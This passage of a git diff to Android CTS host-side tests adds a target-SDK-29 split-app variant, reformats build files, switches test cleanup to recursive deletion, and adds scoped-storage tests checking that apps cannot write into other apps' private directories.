ImmutableList<SharedLibraryInfo> sharedLibs) { - return sharedLibs.stream() - .filter(sharedLib -> sharedLib.paths.contains(jar)) - .map(sharedLib -> sharedLib.name) - .findFirst().orElse(jar); + private String getSharedLibraryNameOrPath(String jar) { + return sSharedLibs.stream() + .filter(sharedLib -> sharedLib.paths.contains(jar)) + .map(sharedLib -> sharedLib.name) + .findFirst().orElse(jar); } /** * Check whether a list of jars are all different versions of the same library. */ - private boolean isSameLibrary(Collection<String> jars, - ImmutableList<SharedLibraryInfo> sharedLibs) { + private boolean isSameLibrary(Collection<String> jars) { return jars.stream() - .map(jar -> getSharedLibraryNameOrPath(jar, sharedLibs)) - .distinct() - .count() == 1; + .map(this::getSharedLibraryNameOrPath) + .distinct() + .count() == 1; + } + + private boolean hasFeature(String featureName) throws DeviceNotAvailableException { + return getDevice().executeShellCommand("pm list features").contains(featureName); } } diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java index 0abb593e0dd..096eb5af37d 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/DirectBootHostTest.java @@ -49,7 +49,7 @@ public class DirectBootHostTest extends BaseHostJUnit4Test { private static final String CLASS = PKG + ".EncryptionAppTest"; private static final String APK = "CtsEncryptionApp.apk"; - private static final String OTHER_APK = "CtsSplitApp.apk"; + private static final String OTHER_APK = "CtsSplitApp29.apk"; private static final String OTHER_PKG = "com.android.cts.splitapp"; private static final String MODE_NATIVE = "native"; diff --git a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java index dcf30b4bfb9..c5fad14ab22 100644 --- a/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java +++ b/hostsidetests/appsecurity/src/android/appsecurity/cts/ResumeOnRebootHostTest.java @@ -55,7 +55,7 @@ public class ResumeOnRebootHostTest extends BaseHostJUnit4Test { private static final String CLASS = PKG + ".EncryptionAppTest"; private static final String APK = "CtsEncryptionApp.apk"; - private static final String OTHER_APK = "CtsSplitApp.apk"; + private static final String OTHER_APK = "CtsSplitApp29.apk"; private static final String OTHER_PKG = "com.android.cts.splitapp"; private static final String FEATURE_REBOOT_ESCROW = "feature:android.hardware.reboot_escrow"; diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp index 1a02f5200c1..c42fd09975f 100644 --- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp +++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp @@ -36,6 +36,7 @@ java_defaults { "android.test.runner.stubs", "android.test.base.stubs", ], + target_sdk_version: "current" } android_test_helper_app { @@ -66,6 +67,35 @@ android_test_helper_app { ], } +android_test_helper_app { + name: "CtsSplitApp29", + defaults: ["CtsSplitAppDefaults"], + package_splits: [ + "mdpi-v4", + "hdpi-v4", + "xhdpi-v4", + "xxhdpi-v4", + "v7", + "v23", + "fr", + "de", + ], + certificate: ":cts-testkey1", + aaptflags: [ + "--version-code 100", + "--version-name OneHundred", + "--replace-version", + ], + // Feature splits are dependent on this base, so it must be exported. + export_package_resources: true, + test_suites: [ + "cts", + "general-tests", + "mts-mainline-infra", + ], + target_sdk_version: "29" +} + // Define a variant with a different revision code android_test_helper_app { name: "CtsSplitAppDiffRevision", diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml index 97a02e754e5..f61bc16ffea 100644 --- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml +++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml @@ -21,8 +21,7 @@ <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here to pass the build error, since tests need to use minSdkVersion 4. --> - <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29" tools:overrideLibrary= - "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/> + <uses-sdk android:minSdkVersion="4" tools:overrideLibrary="androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/> <uses-permission android:name="android.permission.CAMERA"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> diff --git a/hostsidetests/scopedstorage/Android.bp b/hostsidetests/scopedstorage/Android.bp index fbfd7061825..808a00d2c2a 100644 --- a/hostsidetests/scopedstorage/Android.bp +++ b/hostsidetests/scopedstorage/Android.bp @@ -25,8 +25,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppB", manifest: "ScopedStorageTestHelper/TestAppB.xml", @@ -36,8 +41,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppC", manifest: "ScopedStorageTestHelper/TestAppC.xml", @@ -47,8 +57,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppC30", manifest: "ScopedStorageTestHelper/TestAppC30.xml", @@ -58,8 +73,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppCLegacy", manifest: "ScopedStorageTestHelper/TestAppCLegacy.xml", @@ -69,8 +89,13 @@ android_test_helper_app { min_sdk_version: "28", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppDLegacy", manifest: "ScopedStorageTestHelper/TestAppDLegacy.xml", @@ -80,7 +105,11 @@ android_test_helper_app { min_sdk_version: "28", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } android_test_helper_app { @@ -92,8 +121,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppFileManagerBypassDB", manifest: "ScopedStorageTestHelper/TestAppFileManagerBypassDB.xml", @@ -103,8 +137,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppSystemGalleryBypassDB", manifest: "ScopedStorageTestHelper/TestAppSystemGalleryBypassDB.xml", @@ -114,8 +153,13 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } + android_test_helper_app { name: "CtsScopedStorageTestAppSystemGallery30BypassDB", manifest: "ScopedStorageTestHelper/TestAppSystemGallery30BypassDB.xml", @@ -125,7 +169,11 @@ android_test_helper_app { min_sdk_version: "30", srcs: ["ScopedStorageTestHelper/src/**/*.java"], // Tag as a CTS artifact - test_suites: ["device-tests", "mts", "cts"], + test_suites: [ + "general-tests", + "mts", + "cts", + ], } android_test_helper_app { @@ -150,9 +198,16 @@ android_test { name: "ScopedStorageTest", manifest: "AndroidManifest.xml", srcs: ["src/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "31", min_sdk_version: "30", @@ -161,40 +216,67 @@ android_test { ":CtsScopedStorageTestAppB", ":CtsScopedStorageTestAppC", ":CtsScopedStorageTestAppCLegacy", - ] + ], } android_test { name: "LegacyStorageTest", manifest: "legacy/AndroidManifest.xml", srcs: ["legacy/src/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib"], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "29", min_sdk_version: "30", java_resources: [ ":CtsScopedStorageTestAppA", - ] + ], } java_test_host { name: "CtsScopedStorageCoreHostTest", - srcs: [ + srcs: [ "host/src/android/scopedstorage/cts/host/ScopedStorageCoreHostTest.java", - "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java" + "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java", + ], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", ], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], test_config: "CoreTest.xml", } java_test_host { name: "CtsScopedStorageHostTest", srcs: ["host/src/**/*.java"], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + static_libs: [ + "modules-utils-build-testing", + "compatibility-host-util", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], test_config: "AndroidTest.xml", data: [ ":CtsLegacyStorageTestAppRequestLegacy", @@ -205,20 +287,20 @@ java_test_host { java_test_host { name: "CtsScopedStoragePublicVolumeHostTest", srcs: ["host/src/**/*.java"], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider"], - test_config: "PublicVolumeTest.xml", -} - -java_test_host { - name: "CtsAppCloningHostTest", - srcs: [ - "host/src/android/scopedstorage/cts/host/AppCloningHostTest.java", - "host/src/android/scopedstorage/cts/host/BaseHostTestCase.java" + libs: [ + "cts-tradefed", + "tradefed", + "testng", + ], + static_libs: [ + "modules-utils-build-testing", + "compatibility-host-util", + ], + test_suites: [ + "general-tests", + "mts-mediaprovider", ], - libs: ["cts-tradefed", "tradefed", "testng"], - test_suites: ["general-tests", "mts-mediaprovider", "cts"], - test_config: "AndroidTestAppCloning.xml", + test_config: "PublicVolumeTest.xml", } android_test { @@ -226,13 +308,24 @@ android_test { manifest: "device/AndroidManifest.xml", test_config: "device/AndroidTest.xml", srcs: ["device/**/*.java"], - static_libs: ["truth-prebuilt", "cts-scopedstorage-lib",], + static_libs: [ + "truth-prebuilt", + "cts-scopedstorage-lib", + ], compile_multilib: "both", - test_suites: ["device-tests", "mts-mediaprovider", "cts"], + test_suites: [ + "general-tests", + "mts-mediaprovider", + "cts", + ], sdk_version: "test_current", target_sdk_version: "31", min_sdk_version: "30", - libs: ["android.test.base", "android.test.mock", "android.test.runner",], + libs: [ + "android.test.base", + "android.test.mock", + "android.test.runner", + ], java_resources: [ ":CtsScopedStorageTestAppA", ":CtsScopedStorageTestAppB", @@ -244,5 +337,5 @@ android_test { ":CtsScopedStorageTestAppFileManagerBypassDB", ":CtsScopedStorageTestAppSystemGalleryBypassDB", ":CtsScopedStorageTestAppSystemGallery30BypassDB", - ] + ], } diff --git a/hostsidetests/scopedstorage/AndroidTest.xml b/hostsidetests/scopedstorage/AndroidTest.xml index 42a3a362933..320d5417f17 100644 --- a/hostsidetests/scopedstorage/AndroidTest.xml +++ b/hostsidetests/scopedstorage/AndroidTest.xml @@ -28,6 +28,12 @@ <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" /> <option name="test-file-name" value="CtsLegacyStorageTestAppRequestLegacy.apk" /> </target_preparer> + + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <test class="com.android.tradefed.testtype.HostTest" > <option name="class" value="android.scopedstorage.cts.host.LegacyStorageHostTest" /> <option name="class" value="android.scopedstorage.cts.host.PreserveLegacyStorageHostTest" /> diff --git a/hostsidetests/scopedstorage/CoreTest.xml b/hostsidetests/scopedstorage/CoreTest.xml index 5b725e1a853..325807d45c3 100644 --- a/hostsidetests/scopedstorage/CoreTest.xml +++ b/hostsidetests/scopedstorage/CoreTest.xml @@ -27,6 +27,12 @@ <option name="test-file-name" value="CtsScopedStorageTestAppB.apk" /> <option name="test-file-name" value="CtsScopedStorageTestAppDLegacy.apk" /> </target_preparer> + + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <test class="com.android.tradefed.testtype.HostTest" > <option name="class" value="android.scopedstorage.cts.host.ScopedStorageCoreHostTest" /> </test> diff --git a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java index a93aeee3c98..ee63a8abf13 100644 --- a/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java +++ b/hostsidetests/scopedstorage/ScopedStorageTestHelper/src/android/scopedstorage/cts/ScopedStorageTestHelper.java @@ -24,6 +24,7 @@ import static android.scopedstorage.cts.lib.TestUtils.CHECK_DATABASE_ROW_EXISTS_ import static android.scopedstorage.cts.lib.TestUtils.CREATE_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.CREATE_IMAGE_ENTRY_QUERY; import static android.scopedstorage.cts.lib.TestUtils.DELETE_FILE_QUERY; +import static android.scopedstorage.cts.lib.TestUtils.DELETE_RECURSIVE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXCEPTION; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_CALLING_PKG; import static android.scopedstorage.cts.lib.TestUtils.INTENT_EXTRA_PATH; @@ -40,6 +41,7 @@ import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_PARAMS_SEPARAT import static android.scopedstorage.cts.lib.TestUtils.RENAME_FILE_QUERY; import static android.scopedstorage.cts.lib.TestUtils.SETATTR_QUERY; import static android.scopedstorage.cts.lib.TestUtils.canOpen; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; import static android.scopedstorage.cts.lib.TestUtils.getFileRowIdFromDatabase; import static android.scopedstorage.cts.lib.TestUtils.getImageContentUri; @@ -93,6 +95,7 @@ public class ScopedStorageTestHelper extends Activity { case CAN_READ_WRITE_QUERY: case CREATE_FILE_QUERY: case DELETE_FILE_QUERY: + case DELETE_RECURSIVE_QUERY: case CAN_OPEN_FILE_FOR_READ_QUERY: case CAN_OPEN_FILE_FOR_WRITE_QUERY: case OPEN_FILE_FOR_READ_QUERY: @@ -263,6 +266,9 @@ public class ScopedStorageTestHelper extends Activity { case DELETE_FILE_QUERY: intent.putExtra(queryType, file.delete()); return intent; + case DELETE_RECURSIVE_QUERY: + intent.putExtra(queryType, deleteRecursively(file)); + return intent; case SETATTR_QUERY: int newTimeMillis = 12345000; intent.putExtra(queryType, file.setLastModified(newTimeMillis)); diff --git a/hostsidetests/scopedstorage/device/AndroidTest.xml b/hostsidetests/scopedstorage/device/AndroidTest.xml index 7e6f8953ed5..5730b2e2826 100644 --- a/hostsidetests/scopedstorage/device/AndroidTest.xml +++ b/hostsidetests/scopedstorage/device/AndroidTest.xml @@ -23,6 +23,11 @@ <option name="test-file-name" value="CtsScopedStorageTestAppFileManager.apk" /> </target_preparer> + <option + name="config-descriptor:metadata" + key="mainline-param" + value="com.google.android.mediaprovider.apex" /> + <option name="config-descriptor:metadata" key="component" value="framework" /> <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" /> <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" /> diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java index 3c860132c50..c684ee25c8c 100644 --- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java +++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java @@ -29,8 +29,10 @@ import static android.scopedstorage.cts.lib.TestUtils.STR_DATA2; import static android.scopedstorage.cts.lib.TestUtils.allowAppOpsToUid; import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameDirectory; import static android.scopedstorage.cts.lib.TestUtils.assertCanRenameFile; +import static android.scopedstorage.cts.lib.TestUtils.assertCantInsertToOtherPrivateAppDirectories; import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameDirectory; import static android.scopedstorage.cts.lib.TestUtils.assertCantRenameFile; +import static android.scopedstorage.cts.lib.TestUtils.assertCantUpdateToOtherPrivateAppDirectories; import static android.scopedstorage.cts.lib.TestUtils.assertDirectoryContains; import static android.scopedstorage.cts.lib.TestUtils.assertFileContent; import static android.scopedstorage.cts.lib.TestUtils.assertMountMode; @@ -43,6 +45,7 @@ import static android.scopedstorage.cts.lib.TestUtils.createFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAs; import static android.scopedstorage.cts.lib.TestUtils.deleteFileAsNoThrow; import static android.scopedstorage.cts.lib.TestUtils.deleteRecursively; +import static android.scopedstorage.cts.lib.TestUtils.deleteRecursivelyAs; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProvider; import static android.scopedstorage.cts.lib.TestUtils.deleteWithMediaProviderNoThrow; import static android.scopedstorage.cts.lib.TestUtils.denyAppOpsToUid; @@ -208,7 +211,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { "CtsScopedStorageTestAppFileManager.apk"); // A legacy targeting app with RES and WES permissions private static final TestApp APP_D_LEGACY_HAS_RW = new TestApp("TestAppDLegacy", - "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppCLegacy.apk"); + "android.scopedstorage.cts.testapp.D", 1, false, "CtsScopedStorageTestAppDLegacy.apk"); // The following apps are not installed at test startup - please install before using. private static final TestApp APP_C = new TestApp("TestAppC", @@ -522,7 +525,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { public void testCreateAndDeleteEmptyDir() throws Exception { final File externalFilesDir = getExternalFilesDir(); // Remove directory in order to create it again - externalFilesDir.delete(); + deleteRecursively(externalFilesDir); // Can create own external files dir assertThat(externalFilesDir.mkdir()).isTrue(); @@ -536,9 +539,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir2.mkdir()).isTrue(); // And can delete them all - assertThat(dir2.delete()).isTrue(); - assertThat(dir1.delete()).isTrue(); - assertThat(externalFilesDir.delete()).isTrue(); + assertThat(deleteRecursively(dir2)).isTrue(); + assertThat(deleteRecursively(dir1)).isTrue(); + assertThat(deleteRecursively(externalFilesDir)).isTrue(); // Can't create external dir for other apps final File nonexistentPackageFileDir = new File( @@ -616,7 +619,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { // At this point, we're not sure who created this file, so we'll have both apps // deleting it mediaFile.delete(); - dirInDownload.delete(); + deleteRecursively(dirInDownload); } } @@ -753,7 +756,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(dir.list()).asList().doesNotContain(videoFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -785,7 +788,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(listAs(APP_A_HAS_RES, dir.getPath())).doesNotContain(pdfFileName); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, pdfFile.getPath()); - dir.delete(); + deleteRecursively(dir); } } @@ -1159,7 +1162,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { try { // Delete the directory if it already exists if (podcastsDir.exists()) { - deleteAsLegacyApp(podcastsDir); + deleteRecursivelyAsLegacyApp(podcastsDir); } assertThat(podcastsDir.exists()).isFalse(); assertThat(podcastsDirLowerCase.exists()).isFalse(); @@ -1580,7 +1583,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - nonMediaDir.delete(); + deleteRecursively(nonMediaDir); } } @@ -1756,15 +1759,15 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { pdfFile.delete(); - nonMediaDirectory.delete(); + deleteRecursively(nonMediaDirectory); videoFile1.delete(); videoFile2.delete(); videoFile3.delete(); - mediaDirectory1.delete(); - mediaDirectory2.delete(); - mediaDirectory3.delete(); - mediaDirectory4.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); + deleteRecursively(mediaDirectory3); + deleteRecursively(mediaDirectory4); } } @@ -1790,7 +1793,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(deleteFileAs(APP_B_NO_PERMS, videoFile.getAbsolutePath())).isTrue(); } finally { deleteFileAsNoThrow(APP_B_NO_PERMS, videoFile.getAbsolutePath()); - mediaDirectory1.delete(); + deleteRecursively(mediaDirectory1); + deleteRecursively(mediaDirectory2); } } @@ -1809,8 +1813,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { assertThat(emptyDirectoryOldPath.mkdirs()).isTrue(); assertCanRenameDirectory(emptyDirectoryOldPath, emptyDirectoryNewPath, null, null); } finally { - emptyDirectoryOldPath.delete(); - emptyDirectoryNewPath.delete(); + deleteRecursively(emptyDirectoryOldPath); + deleteRecursively(emptyDirectoryNewPath); } } @@ -1934,8 +1938,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { hiddenImageFile.delete(); imageFile.delete(); - hiddenDir.delete(); - nonHiddenDir.delete(); + deleteRecursively(hiddenDir); + deleteRecursively(nonHiddenDir); } } @@ -1974,7 +1978,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { noMediaFile.delete(); imageFile.delete(); videoFile.delete(); - directoryNoMedia.delete(); + deleteRecursively(directoryNoMedia); } } @@ -2352,8 +2356,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { otherAppVideoFile2.delete(); otherAppPdfFile1.delete(); otherAppPdfFile2.delete(); - dirInDcim.delete(); - dirInPictures.delete(); + deleteRecursively(dirInDcim); + deleteRecursively(dirInPictures); denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS); } } @@ -2477,8 +2481,8 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { fileSpecialChars.delete(); fileSpecialChars1.delete(); fileSpecialChars2.delete(); - dirSpecialChars.delete(); - renamedDir.delete(); + deleteRecursively(dirSpecialChars); + deleteRecursively(renamedDir); } } @@ -2548,7 +2552,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } finally { deleteAsLegacyApp(topLevelDir1); deleteAsLegacyApp(topLevelDir2); - nonTopLevelDir.delete(); + deleteRecursively(nonTopLevelDir); } } @@ -2786,18 +2790,57 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } } + /** + * Tests that System Gallery apps cannot insert files in other app's private directories. + */ + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + int uid = Process.myUid(); + try { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS); + assertCantInsertToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } finally { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS); + } + } + + /** + * Tests that System Gallery apps cannot update files in other app's private directories. + */ + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + int uid = Process.myUid(); + try { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ALLOWED, SYSTEM_GALERY_APPOPS); + assertCantUpdateToOtherPrivateAppDirectories(IMAGE_FILE_NAME, + /* throwsExceptionForDataValue */ false, APP_B_NO_PERMS, THIS_PACKAGE_NAME); + } finally { + setAppOpsModeForUid(uid, AppOpsManager.MODE_ERRORED, SYSTEM_GALERY_APPOPS); + } + } + + /** + * This test is for operations to the calling app's own private packages. + */ @Test public void testInsertFromExternalDirsViaRelativePath() throws Exception { verifyInsertFromExternalMediaDirViaRelativePath_allowed(); verifyInsertFromExternalPrivateDirViaRelativePath_denied(); } + /** + * This test is for operations to the calling app's own private packages. + */ @Test public void testUpdateToExternalDirsViaRelativePath() throws Exception { verifyUpdateToExternalMediaDirViaRelativePath_allowed(); verifyUpdateToExternalPrivateDirsViaRelativePath_denied(); } + /** + * This test is for operations to the calling app's own private packages. + */ @Test public void testInsertFromExternalDirsViaRelativePathAsSystemGallery() throws Exception { int uid = Process.myUid(); @@ -2810,6 +2853,9 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { } } + /** + * This test is for operations to the calling app's own private packages. + */ @Test public void testUpdateToExternalDirsViaRelativePathAsSystemGallery() throws Exception { int uid = Process.myUid(); @@ -3336,4 +3382,14 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest { Log.d(TAG, "Deleting file " + file); deleteFileAs(APP_D_LEGACY_HAS_RW, file.getAbsolutePath()); } + + /** + * Deletes the given file/directory recursively. If the file is a directory, then deletes all + * of its children (files or directories) recursively. + */ + private void deleteRecursivelyAsLegacyApp(File dir) throws Exception { + // Use a legacy app to delete this directory, since it could be outside shared storage. + Log.d(TAG, "Deleting directory " + dir); + deleteRecursivelyAs(APP_D_LEGACY_HAS_RW, dir.getAbsolutePath()); + } } diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java index e4d3541b044..5638e41c0de 100644 --- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java +++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java @@ -111,6 +111,46 @@ public class LegacyStorageHostTest extends BaseHostTestCase { } @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasRW() throws Exception { + runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasRW"); + } + + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasRW() throws Exception { + runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasRW"); + } + + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasMES() throws Exception { + allowAppOps("android:manage_external_storage"); + try { + runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasMES"); + } finally { + denyAppOps("android:manage_external_storage"); + } + } + + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasMES() throws Exception { + allowAppOps("android:manage_external_storage"); + try { + runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasMES"); + } finally { + denyAppOps("android:manage_external_storage"); + } + } + + @Test + public void testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + runDeviceTest("testCantInsertFilesInOtherAppPrivateDir_hasSystemGallery"); + } + + @Test + public void testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery() throws Exception { + runDeviceTest("testCantUpdateFilesInOtherAppPrivateDir_hasSystemGallery"); + } + + @Test public void testMkdirInRandomPlaces_hasW() throws Exception { revokePermissions("android.permission.READ_EXTERNAL_STORAGE"); executeShellCommand("mkdir -p /sdcard/Android/data/com.android.shell -m 2770"); @@ -219,6 +259,15 @@ public class LegacyStorageHostTest extends BaseHostTestCase { runDeviceTest("testLegacySystemGalleryCanRenameImagesAndVideosWithoutDbUpdates"); } + /** + * (b/205673506): Test that legacy System Gallery can update() media file's releative_path to a + * non default top level directory. + */ + @Test + public void testLegacySystemGalleryCanUpdateToExistingDirectory() throws Exception { + runDeviceTest("testLegacySystemGalleryCanUpdateToExistingDirectory"); + } + @Test public void testLegacySystemGalleryWithoutWESCannotRename() throws Exception { revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE"); @@ -254,4 +303,18 @@ public class LegacyStorageHostTest extends BaseHostTestCase { public void testUpdateToExternalDirsViaRelativePath() throws Exception { runDeviceTest("testUpdateToExternalDirsViaRelativePath"); } + + private void allowAppOps(String... ops) throws Exception { + for (String op : ops) { + executeShellCommand("cmd appops set --uid android.scopedstorage.cts.legacy " + + op + " 